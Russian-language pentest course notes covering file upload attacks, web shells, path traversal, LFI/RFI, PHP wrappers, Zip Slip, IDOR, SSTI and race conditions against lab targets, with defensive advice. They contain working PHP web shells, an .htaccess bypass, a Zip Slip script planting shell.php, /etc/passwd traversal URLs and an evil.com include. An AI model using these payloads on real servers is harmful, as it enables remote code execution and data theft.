# 7-11 Web Application Security Analysis (Advanced) https://hackmd.io/6qrAKA33SH6XAvW0a5emmg Лекции 1-6 https://hackmd.io/@Mart/HkNZarVn5 Web App Pentest # File Issues https://hackmd.io/dJlsKctSTfumVm72YFivXw Темы занятия: - File Upload - Web Shell - Mime Types - Local File Read - Local/Remote File Inclusion - URL schema/PHP wrappers - Arсhive upload ## File Upload Атакa, при которой атакующий может загрузить исполняемый файл в доступный каталог веб-приложения, после чего переход на него приводит к выполнению произвольного кода на сервере. ## Web shell #web_shell Веб-шелл - программа, предназначенная для выполнения команд ОС через веб-приложение. коллекция веб-шеллов (использовать аккуратно) https://github.com/tennc/webshell Самый популярный для php -wso (пентестеры особо не грузят такие громадные веб шелы) https://github.com/tennc/webshell/blob/master/php/wso2.5.1.php Web shell ## Простейший веб-шелл на PHP: #php_shell `<?php system($_GET['cmd']); ?>` Так же работает в sql Вставили содержимое в файл : * echo '<?php system($_GET["cmd"]); ?>' > shell_unrestricted_file.php ![](https://i.imgur.com/2dmObnQ.png) Загрузили файл на сайт Прописали в URL ?cmd=ls -la http://csr8.psorokin.ru:8000/images/shell_unrestricted_file.php?cmd=ls%20-la ![](https://i.imgur.com/IjvxMwZ.png) **WSO** https://raw.githubusercontent.com/tennc/webshell/master/php/wso2.php.txt![](https://i.imgur.com/DK4f2EF.png) Получили доступ к консоли. В ней можно читать значение БД. **disable_functions** перечень функций которые нельзя использовать, нам пхп скажет нельзя. **Для безопасности PHP** - включать system и его клонов в функцию выше. ![](https://i.imgur.com/78m9yqN.png) https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass Для домашки ## Атака на внутреннюю сеть - - запроксироваться через php - и не выполняя команды ОС - развивать атаку Web shell ## Веб-шелл на PHP с выводом ошибок и возможностью загрузки файлов: Рекомендация от Павла #web_shell_sorokin ``` proc_open позволяет читать stdout,stderr system - показывает только stdout <?php $x="pipe"; $z=array($x, "w"); $proc=proc_open($_REQUEST["c"],array(array($x,"r"),$z,$z),$ps); echo "Output: \n".stream_get_contents($ps[1]). "Errors: \n".stream_get_contents($ps[2]); echo "\nWrited bytes: ".file_put_contents( $_REQUEST["fname"], base64_decode($_REQUEST["data"])); ?> ``` Практика bWAPP Other bugs/ Unrestricted File Upload ## Обход ограничений на расширения Предположим что веб-приложение запрещает загружать файлы с расширением .php (реализует **черный** список). ### Для **Apache** можно загрузить .htaccess (локальная конфигурация апач, за пределы /чего_то не выйдет) с содержимым: AddType application/x-httpd-php .jpg - echo 'AddType application/x-httpd-php .jpg' > AddType.htaccess Загрузили на сайт, поймали burp intercept запрос и скорректировали filename - оставили только **.htaccess** ![](https://i.imgur.com/83flIn0.png) Загружаем наш **шелл** и переименовываем файл ![](https://i.imgur.com/p13YkSM.png) Переходим по ссылке http://csr8.psorokin.ru:8000/images/shell2.jpg?cmd=ls%20-la ![](https://i.imgur.com/DbGOQlD.jpg) После этого картинки в папке станут **обрабатываться** **как PHP**. ## Extension power Веб-сервера обрабатывают файлы в зависимости от **расширения**. Загрузка файлов с такими расширениями что-то дает. https://mike-n1.github.io/ExtensionsOverview Один из способов повышения привилегии на виндовс: Если мы можем писать файлы в директории к апачу, то скорее всего можем залить файлик и он будет выполняться системой. ![](https://i.imgur.com/D4Fzm7e.png) ## File Upload MindMap https://twitter.com/hackerscrolls/status/1404367003914321920 ## JSP - web shell for java <пример **tomcat**> docker run -p 8071:8080 cth123123/tomcat_vulnerable переходим для логина - /manager/html http://csr8.psorokin.ru:8071/manager/html tomcat:tomcat ![](https://i.imgur.com/tSdl2Vh.png) ![](https://i.imgur.com/eCcc7sp.png) Необходимо грузить war файл. Сначала грузим веб шелл, потом подключаем метасплойт - так проще, в случае ошибок. ![](https://i.imgur.com/9oDObb0.png) В архиве лежат 2 файла и 2 директории обязательные для веб-приложения. Залили файл, переходим по ссылке. Получили шелл. ![](https://i.imgur.com/toG5wsO.png) ![](https://i.imgur.com/VTUJ8Be.png) В **новых версиях томкат** - пароля по умолчанию нет, и там консоль manager отключена. За то появилось много RCE. Так что пробьем его. **Что внутри cmd_error** ![](https://i.imgur.com/ljF3v9t.png) ## File Upload - Как защищаться? **Рекомендуется**: - Сохранять файлы в БД - Сохранять файлы на s3 bucket с отдельным доменным именем (загружать в другое место, подальше от веб сервера). s3 bucket - cервис хранения файла, который работает по протоколу s3, разработанный амазоном для своего облака - отдельный сервер. - Загружать файлы вне webroot (создать отдельную директорию /opt/uploads и туда грузить ); - Давать пользовательским файлам случайные имена( сохранить имя файла в бд, если нужен файл), не использовать расширение загруженного файла (веб сервер не будет их выполнять) **Сложнее** и хуже работают: - Белый список расширений файлов; - Проверка содержимого файла на соответствие типу (например, проверка того, что файл действительно картинка) ![](https://i.imgur.com/EHJL04z.png) ## MIME types MIME types **Multipurpose Internet Mail Extensions** Определение типов по содержимому файла Стандарт по именованию типов файлов. Как правило веб-приложения определяют тип файла именно как MIME. ## MIME types Два разных подхода: - На основе содержимого файла - На основе переданного MIME-типа Во-втором случае тип может быть легко подделан. ![](https://i.imgur.com/qxmkcjt.png) Когда мы загружаем файл на сервер - мы определяем тип файла в заголовке - Сontent-Type ![](https://i.imgur.com/8WuXgeb.png) Обход проверки - подделываем тип данных один из **MIME types** - значение заголовка content-type ![](https://i.imgur.com/jXVdS5q.png) передаем json данные, а пишем что xml ## MIME types Проверка на основе содержания файла может также быть **неэффективна** (смотря от чего мы защищаемся). Есть известные полиглоты. phar -> jpg/gif/etc. (в stub) php -> gif/jpg/etc. (в любой секции данных) В текстовые поля картинки (оборудование, дата фото и тд ) - можем записать что угодно. Проверить на ghostscript - приложение на уязвимость , если где то грузятся картинки https://xakep.ru/2018/08/23/ghostscript-rce/ ## Path Traversal Path Traversal **Path (Directory) Traversal** Атака, при которой веб приложение (получает от полльзователя путь к файлу/имя файла) атакующий может передавать в параметре, соответствующем имени файла символы **. ./** (или ..\ для Windows) для доступа к файлам в других директориях. Path Traversal ## bWAPP - Directory Traversal ![](https://i.imgur.com/GEw6bpV.png) Содержимое текущей директории http://csr8.psorokin.ru:8000/directory_traversal_2.php?directory=. ![](https://i.imgur.com/A0r8pqz.png) ДВе точки - попадаем в корень файловой системы http://csr8.psorokin.ru:8000/directory_traversal_2.php?directory=.. Но такая ситуация почти никогда не встречается С помощью данной конструкции мы можем прочитать /etc/passwd http://csr8.psorokin.ru:8000/directory_traversal_1.php?page=../../../../../etc/passwd ![](https://i.imgur.com/zAUzA46.jpg) В стандартных вариантах приложение работает так `$data = file_get_contents("uploads/" .$_GET["file_name"])` Дальше корня файла мы не уйдем, так что можем писать хоть 50 ../../../../../name_file ## Как обнаруживать ./asdcassac - пишем перед именем файла ./ и если в результате выдет тоже самое что без ./ - то еcть path traversal **Классический вариант** параметр .....php?page=about/contacts php?page=./contacts если возвращает одинаковый ответ, то есть уязвимость Такими запросами мы можем обойти правила фильтрации ![](https://i.imgur.com/NMaAy4x.png) ## Path Traversal - Как защищаться? - Вместо настоящих путей до файлов используйте идентификаторы, их и принимайте от пользователей. - Нормализуйте путь, переданный пользователем, и проверяйте что результат внутри ожидаемой директории - Блокируйте запросы в которых есть две точки подряд “..” На случай если ../ - заменяется на пустое значение ![](https://i.imgur.com/1EpMLec.png) То нас спасет ....//....//....// ![](https://i.imgur.com/cBdWLBs.png) Обходим проверку такой конструкцией ![](https://i.imgur.com/rdlev0A.png) !Если задетектили какую нибудь атаку - нам передают чтото странное, не надо пытаться спасать запрос **надо его заворачивать/отбросить**. Потому что попытки спасти могут привести к bypass **Пример некорректной конфигурации nginx** ![](https://i.imgur.com/tbi96RB.png) Встречается на СTF ## Local & Remote File Inclusion ## Local File Inclusion Уязвимость, при которой пользовательский ввод попадает в параметр функций **include** или **require** PHP, что может привести к выполнению загруженных пользователем файлов. Include - не требует наличие файла, если его не будет, то будет Warning Require - требует наличие файла ``` Попадает пользовательский ввод и в ней есть файлики, которые приложение может заинклюдить, в зависимости от того что введет пользователь include ("./include/"+$_GET['page']) ``` Создаем index.php ``` <?php include ("for_include.php"); ?> <h1>hahaha</h1> ``` Cоздаем include. Он выполнит этот файл ``` <?php echo "vasya bil zdes" ?> ``` И результат выполнения будет подставлен в место, где эта функция вызывается ![](https://i.imgur.com/Lyh33VI.png) ![](https://i.imgur.com/ZxHtVvu.png) Можем включить что угодно и это будет выполняться. ![](https://i.imgur.com/sLeiZIn.png) Local File Inclusion Пример работы функции include ## Local File Inclusion атака в основном характерна для php Идея атаки следующая - загружаем файл с <?php ... ?>, а после передаем путь до него функции include. ``` include($_GET['page']); page=upload/123.jpg ``` http://csr8.psorokin.ru:8000/rlfi.php?language=lang_en.php&action=go **lang_en.php** - include Можем прочитать etc/passwd http://csr8.psorokin.ru:8000/rlfi.php?language=../../../../etc/passwd&action=go ![](https://i.imgur.com/tqPsylM.jpg) Function include внедряет в генерируемый ответ http приложния Обратимся к ранее залитому шеллу csr8.psorokin.ru:8000/rlfi.php?language=images.shell2.jpg&action=go&cmdla -la ![](https://i.imgur.com/q0Su4Ox.png) Заинклюдили Если у нас есть local file inclusion и ранее мы залили картинку(а веб приложение стоит белый список расширий), то мы можем вот таким образом заинклюдить его ## Remote File Inclusion Веб-приложение может “инклюдить” удаленные файлы, например: `include('http://evil.com/123.php')` Возможно только при настройках **PHP** (в php.ini): ``` Если это включено, то мы можем инклюдить удаленные файлы allow_url_include = On allow_url_fopen = On (она позволяет передавать url функции для чтения/записи файлов) ``` ![](https://i.imgur.com/0HcNizw.png) ![](https://i.imgur.com/usCzngy.png) ![](https://i.imgur.com/FXA4KKG.png) ![](https://i.imgur.com/lE01GPm.png) ![](https://i.imgur.com/m95aOQR.png) Заинклюдили уделенный файл. Сначало скачало, потом выполнило приложение на сервере. В реальной жизни скорее всего **не встретится**. Сессии мы можем контролировать, они лежат в /var/lib/php5. Если веб приложение пишет в сессию то , что мы контроллируем, то мы можем заинклюдить сессию. ![](https://i.imgur.com/1QFlGOY.png) В сессии сохраняем данные из сессии В арр/session.php добавили вот такую конструкцию ![](https://i.imgur.com/jAOa1cJ.png) В реальной жизни пишется email, можем туда записать(все что связано с пользователем); посмотреть что за фреймворк используется ![](https://i.imgur.com/0rYCSie.png) ../../../../var/lib/php5/sess_ &cmd=ls -la ## LFI bWAPP - Remote & Local File Inclusion Демонстрация LFI Демонстрация RFI (php.ini) Демонстрация LFI через файл сессии ## PHP и нулевой байт Если приложение при включении файла добавляет расширение, а мы не можем загрузить .php: `include('/includes/'+$_GET['lang'] + '.php');` то может помочь нулевой байт (в url кодировке **%00** ``` lang=../uploads/123.jpg%00 ``` ``` include('/includes/../uploads/123.jpg%00.php') ``` В старых версиях ПХП - нулевой байт и остаток он отбросит. В #C нулевой байт обозначает что строка закончена. - Не работает в современных версиях PHP ## LFI/RFI - Как защищаться? Создать белый список файлов, включение которых разрешено. Проверять что переданный параметр соответствует одному из этих файлов. <Демонстрация в bWAPP security_level=2> ## Local File Read Local File Read Атака, в результате которой атакующий получает возможность чтения файлов из файловой системы хоста с уязвимым приложением. ## Local File Read А что читать то? - Стандартные файлы сервисов и ОС - Исходный код ## Local File Read - Стандартные файлы - /proc/* (виртуальная файловая система - содержит информацию о запущенных процессах)(самый важный файл - environ - хранятся переменные среды, в них передаются секреты) - /etc/passwd, /etc/issue/ (версия ОС), /etc/hosts (соседи), /etc/hostname (сетевое имя текущего сервиса), etc. - Логи: /var/log (пароли могут передаваться в GET параметры) - Конфиги: nginx, apache, php, etc. (то с чего надо начать) ![](https://i.imgur.com/xy2mOBr.png) proc/self/ cat environ (self - идентификатор текущего процесса) cwd - симлинк на текущую директорию ( если мы не знаем в какой директории запущен apache) Если мы обратимся к proc/self/cwd то нас приведет на корневой каталог нашего приложения (больше актуально для питона, node.js) ![](https://i.imgur.com/NPMyWLs.png) ![](https://i.imgur.com/GFRjZnX.png) Неплохой перечень: https://nets.ec/File_Inclusion https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux https://sushant747.gitbooks.io/total-oscp-guide/content/local_file_inclusion.html ## Local File Read - Исходный код Положение webroot можно найти в конфиге nginx/apache PHP/Python/JS: качаем index.php/wsgi.py/index.js, в нем смотрим зависимости, качаем их, инклюдим и т.д. Компилируемые - качаем собранные модули и декомпилим ## Local File Read - Исходный код C# C# - как правило код в DLL. web.config как правило лежит(в текущей директории, откуда запущено веб приложение) в webroot и может содержать имя DLL DLL можно скачать из webroot или webroot/bin и декомпилируем ее ## Local File Read - Исходный код C# - Декомпиляция: C# - Декомпиляция: - .Net Reflector - ILSpy -сейчас самый топовый - dotPeek - dnSpy Лучше два последних ## Local File Read - Исходный код Java Java: Код в .jar файлах либо в .class файлах - WEB-INF/web.xml - тут описание всего приложения (главный файл) - WEB-INF/lib - тут могут быть .jar (скомпилированные исходники лежат тут или ниже) - WEB-INF/classes - тут в подпапках скомпилированные Java-классы ## Local File Read - Исходный код Java - декомпиляция Java - декомпиляция: - JD-gui - Jadx-gui - fernflower - bytecode-viewer - объединяет все выше указанные https://github.com/Konloch/bytecode-viewer/releases !Получить имена директорий/пользователей и перебирать ssh ключи ## URL Schema в операциях с файлами URL Schema Полезные схемы: - file:// - обращение к локальным файлам - data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ (при открытии этого файла и его чтении будет возвращена декодированная строка) - cодержимое файла находится в ссылке ![](https://i.imgur.com/1jFr91b.png) плюс = %2b ![](https://i.imgur.com/cql9uW6.png) ![](https://i.imgur.com/ABo6PH6.png) file:/// (2 слеша - это схема, а 3 слэш - корень файловой системы/начало имени файла) URL Schema **file://** Может в некоторых случаях помочь обойти какие-то блокировки URL Schema **data://** data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ Может использоваться в LFI, если мы ничего не можем загрузить. ## PHP Wrappers #php_wrappers #php_schema PHP поддерживает ряд схем-оберток, которые могут использоваться в операциях с файлами. https://www.php.net/manual/en/wrappers.php ## PHP Wrappers Схема php:// Схема php:// - позволяет обращаться к частям php процесса php://input - содержимое тела запроса (имя которому соответсвует тело http запроса) ![](https://i.imgur.com/T1o2mcl.png) Это способ инклюда , когда мы не имеем возможности загружать файлы , но требуется allow url include, который обычно выключен. php://filter - возможность применить фильтры, встроенные в пхп к каким то потокам данных. php://filter/resource=/etc/passwd ! php://filter/read=convert.base64-encode/resource=/etc/passwd - применяет фильтры, позволяет читать локальные файлы - применяется для чтения исходников ![](https://i.imgur.com/6f1shhL.png) Получили содержимое /etc/passwd в закодированном виде Декодировали: ![](https://i.imgur.com/5nVsLj5.png) csr8.psorokin.ru:8000/rlfi.php?language=php://filter/read=convert.base64-encode/recource=index.php&action=go&cmd=ls -la В данном случае мы прочитали index.php https://www.php.net/manual/en/wrappers.php.php выведет содержимое /etc/passwd ![](https://i.imgur.com/xvOuCIu.png) ## URL Schema Если разработчики запрещают использовать какие то схемы, которые нам хотелось бы (например, file://), то дополнительные схемы PHP могут нам помочь. <Демонстрация data:// php://input php://filter URL Schema Практика - Wrappers. ## Archive Upload Issues С загрузкой архивов связано **две основные проблемы**: - В архиве содержатся файлы с …/ в имени (Zip Slip). (приложение принимает архив, приложение распакует его в другой директории, то файлы в другой директории могут быть стерты; можно запискать) - В архиве содержатся символические ссылки, что может привести к чтению/записи файлов вне ожидаемой директории ## Zip Slip #web_zip Файлы с ../../ распаковываются архиватором вне ожидаемой директории. В результате могут быть созданы или перезаписаны файлы приложения или системы. ## Zip Slip - создание архива Cоздаем архив, который распакует index.php на 4 каталога выше `zip -r zipslip.zip ../../../../app/index.php` ## Zip Slip - создание архива - код на Python ``` import zipfile from io import BytesIO def _build_zip(): f = BytesIO() z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) z.writestr('../../../var/www/html/shell.php','<?php passthru($_GET["c"]); ?>') z.close() zip = open('poc.zip', 'wb') zip.write(f.getvalue()) zip.close() _build_zip() ``` ![](https://i.imgur.com/gpehvxS.png) ## Zip Slip защищены Большинство утилит командной строки и библиотек на данный момент **защищены** от Zip Slip, но если разработчики считывают архив самостоятельно, то ошибки все еще возможны. Если анзипом разархивировали, то файл создался в данном каталоге ![](https://i.imgur.com/K1CiwPf.png) **Создание архивов** Чтобы не расставлять файлы в файловой системе перед их упаковкой командой zip, можно воспользоваться функцией на **python**. ## Symlinks В архив может быть помещена символическая ссылка. Если веб-приложение разархивирует симолические ссылки и позволяет читать разархивированные файлы, то мы можем прочитать файлы из других директорий. ## Symlinks архив с символической ссылкой Создать архив с символической ссылкой: ``` ln -s ../../../../etc/passwd file zip --symlinks res.zip file ``` Если веб-приложение позволяет читать разархивированные файлы, то мы можем прочитать файлы из других директорий. ![](https://i.imgur.com/KpRO6lA.png) ![](https://i.imgur.com/l6DXhKq.png) ![](https://i.imgur.com/PyUFpfu.png) Получилась **атака local file read** # Занятие 8. Уязвимость Broken Access Control Пятница, 12 августа 2022г., с 19:00 до 22:00 (МСК) Уязвимость обход контроля доступа (Broken Access Control), разграничение доступа в веб-приложениях, на функциональном уровне и на уровне объектов, оптимизация защиты от уязвимости. Изучение работы шаблонов, изучение уязвимостей, автоматизация эксплуатации уязвимостей шаблонов ........ https://hackmd.io/niBPBqsSQ7S3cPrqccBvsA Web App Pentest **Broken Access Control** **SSTI** **Race Condition** Вопросы по заданиям? ## OWASP A01:2021-Broken Access Control Действия, разрешенные аутентифицированным пользователям, зачастую некорректно контролируются. Злоумышленники могут воспользоваться этими недостатками и получить несанкционированный доступ к учетным записям других пользователей или конфиденциальной информации, а также изменить пользовательские данные или права доступа. ## Определения **Идентификация** — процесс определения, что за человек перед нами. **Аутентификация** — процесс подтверждения, что этот человек именно тот, за кого себя выдает. **Авторизация** — процесс принятия решения о том, что именно этой аутентифицированной персоне разрешается делать. ( Сейчас мы рассматриваем эту стадию) ## Разграничение доступа в веб-приложениях Можно выделить **два уровня** разграничения доступа: - на функциональном уровне (обычно используется ролевая модель разграничения); (Вертикальное разграничение доступа) - на уровне объектов (обычно используется избирательная модель доступа);(Горизонтальное разграничение доступа) ## Разграничение доступа на функциональном уровне system-admin: - /admin/create-user - /admin/delete-user manager: - /manager/create-company - /manager/assign-user-to-company user: - /user/create-comment - /user/send-message-to-manager ## Разграничение доступа на уровне объектов Пример - система ДБО. - горизонтальное разграничение доступа. У пользователя есть несколько карт. Для оплаты счета пользователь вызывает метод **/makePayment** (ручка - сделать платеж), передавая ему одним из параметров **card_id** (число) Веб-приложение долж но проверять что этот конкретный пользователь может пользоваться этой конкретной картой. ## Broken Access Control Собирательная уязвимость, основными двумя частями которой являются: - Missing Functional Level Access Control (MFLAC) - Insecure Direct Ob ect Reference (IDOR) (Небезопасная прямая ссылка на объект) (Один пользователь получает доступ к файлам другого) ## IDOR Базовый пример: (как искать айдор) http://example.com/profile?userId=543 А почему бы не попробовать ? http://example.com/profile?userId=544 **Защита - проверка ролей**. Реализовывать контроль доступа в каждой функции ### Примеры bWAPP IDOR: Change Secret Есть секрет текущего пользователя . Посмотрим его ![](https://i.imgur.com/J41LBBr.png) Поменяли секрет. Создаем нового пользователя. !**Совет** использовать multi account container в мозиле (группа окон в браузере - отдельно сохраняются куки) ![](https://i.imgur.com/o7ry9CD.png) ![](https://i.imgur.com/b6rS5lO.png) ![](https://i.imgur.com/0v1PZlT.png) Burp идет изменение секрета ![](https://i.imgur.com/0WbX2cH.png) ![](https://i.imgur.com/1Yb8jct.png) МЕняет секрет пользователю IDOR: Order Tickets можем купить билеты ![](https://i.imgur.com/EhmAgAD.png) ![](https://i.imgur.com/LQqKCwU.png) меняем прайс Купили 10 билетов за 0 евро ![](https://i.imgur.com/k6LaNxF.png) (Таким методом можно накрутить бонусов) **В обоих случаях мы видим что в трафике что-то летит и мы можем поменять** Типичная история атаки на обмен валют - **атака на округление в большую сторону** HackerU CTF task (http://128.199.33.87:8082/) ## MFLAC Обычный пользователь смог дернуть ручку админа system-admin: /admin/create-user /admin/delete-user manager: /manager/create-company /manager/assign-user-to-company user: /user/create-comment /user/send-message-to-manager ## MFLAC А доступны ли пользователю с определенной ролью функции, которые ему не должны быть доступны. **Защита** - вешать аннотацию ## Тестирование на BAC Плагин для Firefox Multi-Account Containers https://addons.mozilla.org/ru/firefox/addon/multi-account-containers/ Позволяет иметь рядом в браузере вкладки, аутентифицированные под разными пользователями. <Демонстрация> Задание Спецификация для приложения (описание всех ручек) https://hackmd.io/Z6V2jfp8T0Kf_zUAh6iUbg ## Спецификация секции администрирования приложения Broken Access Control ### /admin ### GET /admin/main Главная страница ### GET /admin/users Список зарегестрированных пользователей ### GET /admin/create_user Страница создания пользователя ### POST /admin/create_user Создание пользователя Params: - first_name - имя (не менее 2 символов) - last_name - фамилия (не менее 2 символов) - login - логин (не менее 4 символов) - role - роль ['admin','manager','user'] - password - пароль (не менее 6 символов) ### GET /admin/delete_user/<user_id> Удаляет пользователя Params: - GET[user_id] - идентификатор удаляемого пользователя ### GET /admin/change_password/<user_id> Страница изменения пароля пользователя Params: - GET[user_id] - идентификатор пользователя ### POST /admin/change_password/<user_id> Изменение пароля пользователя Params: - GET[user_id] - идентификатор пользователя - password - новый пароль (не менее 6 символов) ![](https://i.imgur.com/wbNElFU.png) проверка ролей ![](https://i.imgur.com/ejtziRF.png) idor - уязвимость ![](https://i.imgur.com/UajBp5u.png) ![](https://i.imgur.com/Lerl4Qp.png) Нужно в каждой функции использовать контроль доступа ( потому что забыть легко) по этому это **OWASP TOP 1** **Полуавтоматизированное средство Autorize in Burp** ![](https://i.imgur.com/eahY78w.png) идея - замена куки (настроить) отправляет куку пользователям и выдает что выдает что не выдает. Протыкать функционал одного пользователя, а Autorize протыкает другого пользователя ## Поиск входных точек Если кода нет, у нас ограниченная учетка, но мы предполагаем что MFLAC может иметь место, то нам нужно найти корректные имена URL или параметров. * Можно анализировать javascript (код админки, там все ручки есть, вынимаем инструменты для этого) (содержится весь код фронта) Достаем все ссылочки #brut_mflac #brut_idor ### * Брутим - Словари для подбора #brut_tools_web https://github.com/assetnote/kiterunner (содержит апишки ( может брутить пути и методы POST,PUT,DELETE)) #wordlist_web https://github.com/chrislockard/api_wordlist (апи ворд лист) https://github.com/sorokinpf/ApiWordlistGenerator генератор листов от Павла ![](https://i.imgur.com/LjKvIOQ.png) verb noun (глагол и существительное) + СamelChain Можно использовать этот словарь для предыдцщих заданий ### Реализация и рекомендации Разграничение доступа на функциональном уровне можно сделать с помощью фреймворков. **MFLAC** Для реализации разграничения доступа на уровне объектов необходимо делать проверку в каждой функции. **IDOR** <Демонстрация кода> **Рекомендации** * Реализовать контроль доступа единообразно во всем веб-приложении (на одной аннотации)(единоьразность - хорошо для безопасности) * Использовать непредсказуемые идентификаторы объектов (uuid рекомендуется ver4(случайные идентификаторы)) https://ru.wikipedia.org/wiki/UUID * (xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx) Рекомендуем разработчикам использовать UUID v4 (в некоторых случаях, когда айди не утекает) * Для защиты от IDOR рекомендуется писать тесты пытающиеся получить доступ к чужим данным. (для тестировщиков - высокий уровень безопасти) ## SSTI (Server Side Template Injection) Шаблон запросов на сервер. **Инъекция** в язык шаблонов на серверной стороне ### Шалблоны HTML-страниц Шаблоны используются разработчиками для создания HTML-страниц. Разработчики единожды делают шаблон, потом в определенные его места подставляются необходимые данные и шаблон передается пользователю. ### Шаблоны HTML-страниц Существует значительное количество различных шаблонизаторов для разных языков/фреймворков. ### Шаблоны HTML-страниц Шаблоны реализуют свой собственный язык. Язык шаблонов может позволять выполнять не только вывод информации, но и её обработку, фильтрацию, итерирование по спискам и т.д. В некоторых языках шаблонов существует возможность выполнения опасных операций. ### Шаблоны HTML-страниц Примеры Примеры: ### jinja2 (BAC) используется во фласке Главная страница пользователя администратор ![](https://i.imgur.com/sM3mGSv.png) функция для вызова какого то экшена ![](https://i.imgur.com/DwRrJLb.png) цикл генерит - сколько юзеров столько и таблиц ### TWIG https://github.com/marvin/php-twig-example/blob/master/index.php Генерится name & title ![](https://i.imgur.com/TfFtAhD.png) ![](https://i.imgur.com/JlbgWZz.png) ![](https://i.imgur.com/Y2vFPZY.png) ### Razor https://docs.microsoft.com/ru-ru/aspnet/core/razor-pages/?view=aspnetcore-3.0&tabs=visual-studio#the-home-page Используется в **дотнет** приложениях ![](https://i.imgur.com/fuyMqH9.png) SSTI ## Server Side Template Injection Уязвимость, при эксплуатации которой данные атакующего внедряются в шаблон перед его рендером, что приводит к возможности использования любых функций шаблонизатора. ## Server Side Template Injection **Возможности атакующего зависят от шаблонизатора:** * выполнение произвольного кода * чтение локальных файлов * доступ к переменным в доступной зоне видимости Server Side Template Injection ### Portswigger Academy: https://portswigger.net/web-security/server-side-template-injection James Kettle - крутой ресерчер из команды Portswigger (находит принципиальные вектора атак и создает новые методики теста уязвимостей) https://portswigger.net/research/server-side-template-injection ![](https://i.imgur.com/HaslinY.png) ![](https://i.imgur.com/HK8eNvt.png) Надо добится выполнения произвольного кода и удалить файл morale.txt Потом в бурпе в истории запросов вбиваем цифру умножения и получаем уязвимые страницы Server Side Template Injection ### Готовые вектора в некоторых шаблонизаторах есть на PayloadAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection Server Side Template Injection #web_tools #tplmap #ssti_tools ### tplmap - приложение для автоматизированной эксплуатации уязвимостей SSTI. (можно подсмотреть вектора Если вектора нет в **PayloadAllTheThings**) ![](https://i.imgur.com/PxBMzKe.png) https://github.com/epinna/tplmap ## Server Side Template Injection Если вектора нет в **PayloadAllTheThings** и нагуглить не удается, то надо браться за документацию. Server Side Template Injection ![](https://i.imgur.com/4vmREHe.png) передаем шаблон в виде строки (поэтому уязвимость существует) (сначала рендер один, потом он попадает в другой шаблон) - **двойной рендер** и отсюда возникает SSTI. Когда шаблон генерируется из пользовательского ввода. Примеры: docker run -p 8083:80 -d cth123123/twig_ssti https://github.com/BlackFan/ctfs/tree/master/volgactf_2020_quals/newsletter Portswigger - 1 пример SSTI https://portswigger.net/web-security/server-side-template-injection/exploiting - выполнение заданий в академии ![](https://i.imgur.com/2iNhS1E.png) сгенрировалась лабораторка ![](https://i.imgur.com/UFzB3XH.png) тут взаимодействуем с приложением и тут находится уязвимость https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection **PayloadsAllTheThings/Server Side Template Injection at master** · ![](https://i.imgur.com/2FDapd9.png) проверяем с языка руби 7 на 7 - сработало =49 ![](https://i.imgur.com/kb7TB2P.png) Читаем локальные файлы ![](https://i.imgur.com/RK7192g.png) ![](https://i.imgur.com/siZ4Hrt.png) удаем файл из домашнего каталога **Вапалайзер подсказывает иногда Шаблонизатор.** Рекомендация к обнаружению - сохранить себе `${7*7}` или большие числа - тыкать в разные места, и потом посмотреть в бурпе - search in http history - результат умножения этих чисел ## TWIG http://csr8.psorokin.ru:8083/ Указываем почту и приветствие отправлялось на почту ![](https://i.imgur.com/Vyq4SWm.png) ![](https://i.imgur.com/LKK6EL1.png) Здесь используется template на основе строки, в которой конкатенируется наше имя. ![](https://i.imgur.com/w2suB9G.png) Браузер не дает нам отправить - некорректный емейл ![](https://i.imgur.com/5yz43CW.png) фильтрует корректный емейл или нет ![](https://i.imgur.com/igAZWpi.png) дзесь сработает особенность емейлов - **""** **двойные кавычки перед собакой** ![](https://i.imgur.com/C1q22At.png) ![](https://i.imgur.com/zG9xmhV.png) для возвращения массива надо сделать join ![](https://i.imgur.com/bZNtrKR.png) ![](https://i.imgur.com/wJ7lSrI.png) \x20 - вместо пробела ls\x20-la **Защита** - не делать конкатенация в render template Упражнение Portswigger 2 и 4. ## Race condition ### Состояние гонки Проблема многопоточных приложений, при которой конечный результат зависит от того, в каком порядке потоки получат управление. (в каком порядке они были вызваны и получили квант процессорного времени) Race condition Пример с переводом денег ![](https://i.imgur.com/pWRj90O.png) ![](https://i.imgur.com/UhSUNcR.png) Отправили 2 запроса одиниковых ![](https://i.imgur.com/lcLdSNI.png) тут второй транш остановили 2 потока пошло, 1 поток остановился и запустился 2 поток ![](https://i.imgur.com/M3b5Ydf.png) а тут квант времени получил первый поток ![](https://i.imgur.com/q0CZy3s.png) а тут пошло дальше - 900 руб сгенерировалось у польз из воздуха Практика в Банк нолик apt - get install jupiter / pip install jupiter ![](https://i.imgur.com/cdaJWXb.png) ![](https://i.imgur.com/qqglX1Q.png) исходный код ![](https://i.imgur.com/End6ZTZ.png) тут процесс засыпает на секунду ![](https://i.imgur.com/avj3NkM.png) далее берется баланс ресиввера МЫ регистрируем 2 польз. Будем гонять деньги от одного к другому и если в сумме больше 200 руб, значит все получилось. Для эксплуатации нам придется программировать ![](https://i.imgur.com/9z4RgOO.png) Павел начинает в нем и потом создает скрипт ![](https://i.imgur.com/MNrlcWj.png) ![](https://i.imgur.com/ohzoqft.png) - сохдать кусок кода на питоне **BURP -Extencions-Copy As Python-Requests** выполняет запрос на питоне ![](https://i.imgur.com/pEL38lw.png) Копируем кусок кода в юпитер. **Важно знать как работают PHP сессии** ![](https://i.imgur.com/sjRZTiZ.png) добавили send_money(to,amount): ![](https://i.imgur.com/JqWN244.png) Надо как можно ближе по времени к друг другу отправить ![](https://i.imgur.com/AkBZt0T.png) Используем threadPoolExecution (для многопоточности) ``` from concurrent.furures import ThreadPoolExecutor with ThreadPoolExecutor(max_workers=50) as pool: pool.map(thread_func,lines) ``` ![](https://i.imgur.com/pAOKRxZ.png) примерно одновременно отправляем 3 раза функцию ![](https://i.imgur.com/3Obhp2z.png) в качестве прокси указали наш бурп ![](https://i.imgur.com/bJ14xaD.png) удалил процесс и поднял докер еще раз - изза нехватки памяти Race condition Способ защиты - синхронизация. Один поток “захватывает” (acquire) объект синхронизации. Пока он не “отпущен” (release), 